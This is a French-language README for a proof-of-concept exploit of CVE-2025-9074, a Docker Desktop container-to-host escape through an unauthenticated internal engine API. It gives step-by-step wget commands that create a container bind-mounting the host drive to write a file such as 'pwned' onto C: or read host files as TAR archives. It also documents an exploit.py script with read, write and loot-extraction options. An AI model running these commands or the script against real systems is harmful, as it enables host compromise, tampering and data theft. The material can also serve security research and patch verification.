
Exploit PoC pour CVE-2025-9074 démontrant une évasion complète de conteneur Docker Desktop sur Windows et macOS via une API interne non authentifiée du moteur Docker.
Docker Desktop expose l’API du moteur Docker interne à l’adresse http://192.168.65.7:2375
à tout conteneur en cours d’exécution — sans authentification ni contrôle d’accès.
Étant donné que le moteur lui-même peut monter le système de fichiers de l’hôte, un conteneur peut appeler cette API pour créer un nouveau conteneur qui monte par liaison le disque de l’hôte, puis utiliser ce conteneur pour lire et écrire des fichiers arbitraires sur l’hôte — une évasion complète du conteneur vers l’hôte.
http://192.168.65.7:2375 — aucune information d’identification n’est requise.POST /containers/create avec
Binds: ["/mnt/host:/host_root"], montant le disque de l’hôte dans un nouveau conteneur.
À l’intérieur de la VM Docker, le système de fichiers de l’hôte est exposé à /mnt/host
(par exemple, le lecteur Windows C: se trouve à /mnt/host/c).POST /containers/{id}/start active le montage par liaison,
donnant un accès complet à l’hôte.echo pwned > /host_root/c/test/pwn.txt).GET /containers/{id}/archive?path=... renvoie tout chemin
de l’hôte sous forme d’archive TAR — aucun shell n’est nécessaire.Créez C:\test\readme.txt avec un contenu d’exemple pour que la démonstration de lecture ait une cible.

docker run -it --rm alpine /bin/sh
Toutes les étapes manuelles ci-dessous s’exécutent à l’intérieur de ce conteneur (alpine est livré avec wget).
Définissez une variable shell pour l’API afin de garder les commandes courtes :
API=http://192.168.65.7:2375
Objectif : créer C:\test\pwn.txt sur l’hôte depuis l’intérieur d’un conteneur.
# 1. Créez un conteneur qui monte le lecteur C: de l’hôte et y écrit un fichier.
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
# 2. Extrayez le nouvel ID du conteneur de la réponse JSON.
cid=$(cut -d'"' -f4 create.json)
# 3. Démarrez-le — la commande s’exécute et écrit le fichier sur l’hôte.
wget -q -O - --post-data='' $API/containers/$cid/start
Ce qui s’est passé :
Binds: /mnt/host:/host_root monte les lecteurs de l’hôte dans le nouveau conteneur.pwned dans C:\test\pwn.txt (/host_root/c/test/pwn.txt).Résultat attendu : C:\test\pwn.txt existe maintenant sur l’hôte.

Objectif : lire C:\test\readme.txt depuis l’hôte depuis l’intérieur d’un conteneur.
# 1. Créez + démarrez un conteneur avec le disque hôte monté (maintenu en vie brièvement).
wget -q -O create.json \
--header='Content-Type: application/json' \
--post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
$API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start
# 2. Demandez au moteur une archive TAR du répertoire hôte, puis extrayez-la.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt
Ce qui s’est passé :
GET /containers/{id}/archive?path=... renvoie tout chemin hôte sous forme d’archive TAR — aucun shell nécessaire.Résultat attendu : le contenu de C:\test\readme.txt est affiché.

exploit.pyexploit.py automatise les deux flux. Il utilise uniquement la bibliothèque standard Python,
détecte automatiquement le montage hôte (Windows /mnt/host/c vs macOS/Linux /),
et traduit les chemins hôtes natifs pour vous.
L’API interne (
192.168.65.7:2375) n’est accessible que depuis l’intérieur d’un conteneur, exécutez donc le script dans un conteneur qui a Python :
# Depuis le répertoire du dépôt sur l’hôte :
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info
Sur Windows PowerShell, utilisez -v "${PWD}:/x" ; sur cmd.exe utilisez -v "%cd%:/x".
python /x/exploit.py info
Ping l’API, détecte le système d’exploitation hôte et liste les entrées du montage hôte de premier niveau.
# Hôte Windows
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'
# Hôte macOS/Linux (ou envoyer le contenu via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt
# Afficher sur stdout
python /x/exploit.py read 'C:\test\readme.txt'
# Ou extraire (fichier ou répertoire entier) dans ./loot
python /x/exploit.py read 'C:\test' --out ./loot
Cette preuve de concept est destinée uniquement aux tests autorisés, à l’éducation et à la recherche. L’auteur décline toute responsabilité en cas d’utilisation abusive. Exécutez-la uniquement sur des systèmes que vous possédez ou pour lesquels vous êtes autorisé à effectuer des tests.
Cette preuve de concept et ce README sont dérivés des recherches de Felix Boulet. Tout le crédit pour la découverte et l’analyse originales revient à l’auteur original.
Ce projet est sous licence MIT.
| Indicateur | Objectif |
|---|
--api URL | Remplacer le point de terminaison API (par défaut http://192.168.65.7:2375) |
--image NAME | Image pour le conteneur d’exploitation (par défaut alpine, téléchargée automatiquement si absente) |
--vm-mount PATH | Ignorer la détection automatique et forcer le montage hôte dans la VM (ex : /mnt/host ou /) |